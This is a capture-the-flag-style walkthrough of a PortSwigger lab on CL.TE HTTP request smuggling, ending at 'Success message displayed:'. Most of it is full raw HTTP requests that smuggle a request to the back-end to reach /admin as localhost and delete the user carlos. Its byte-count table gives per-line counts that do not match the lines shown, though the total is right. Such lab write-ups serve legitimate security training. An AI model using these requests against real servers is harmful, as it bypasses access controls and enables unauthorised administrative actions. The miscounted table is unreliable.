PortSwigger

Lab Description

This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding. There’s an admin panel at /admin, but the front-end server blocks access to it.

Objective: Smuggle a request to the back-end server that accesses the admin panel and deletes the user carlos.



Step 1: Understanding the Vulnerability

The CL.TE vulnerability:

  • Front-end server: Uses Content-Length (CL) header (doesn’t support chunked encoding)
  • Back-end server: Uses Transfer-Encoding: chunked (TE) header
  • The discrepancy allows request smuggling

The attack:

  1. Send a request with both Content-Length and Transfer-Encoding: chunked headers
  2. Front-end uses CL (sees one request)
  3. Back-end uses TE (sees two requests)
  4. The second (smuggled) request bypasses front-end security controls

Step 2: Reconnaissance

Step 2.1: Test Admin Access

Try to visit /admin:

GET /admin HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net

Response: 403 Forbidden - Front-end blocks access.


Step 3: CL.TE Request Smuggling

Step 3.1: Basic Smuggling Attempt

Send the following request twice (to see the effect):

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-Ignore: X

How the servers interpret:

ServerUsesSees
Front-endContent-Length: 37Single request (stops after 0 + newlines)
Back-endTransfer-Encoding: chunkedTwo requests (second is smuggled)

Smuggled request sent to back-end:

GET /admin HTTP/1.1
X-Ignore: X

Response: Error - missing Host: localhost header.


Step 4: Adding Host Header

Step 4.1: Smuggle with Localhost

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
X-Ignore: X

Smuggled request:

GET /admin HTTP/1.1
Host: localhost
X-Ignore: X

Response: Still blocked — Host header conflict with the second request.


Step 5: Fixing Header Conflict

Step 5.1: Hide Second Request Headers

By adding a Content-Length to the smuggled request, its headers become part of the body of the second request, not request headers.

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

Request breakdown:

Front-end sees (Content-Length: 116):

POST / HTTP/1.1
Host: lab.com
Content-Length: 116
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

Back-end sees (chunked):

POST / HTTP/1.1
Host: lab.com
Content-Length: 116
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=
  • Admin panel accessible!

Step 6: Deleting User Carlos

Step 6.1: Modify Smuggled Request

Change the smuggled request URL to delete carlos:

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 139
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

Calculate Content-Length correctly:

Let’s break down the request body (the smuggled part):

0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

Count every character including newlines (\r\n = 2 bytes):

LineBytes
0\r\n3
\r\n2
GET /admin/delete?username=carlos HTTP/1.1\r\n46
Host: localhost\r\n18
Content-Type: application/x-www-form-urlencoded\r\n45
Content-Length: 10\r\n21
\r\n2
x=2
Total139
  • *Content-Length: 139 is correct.


Step 7: Lab Solved

Success message displayed: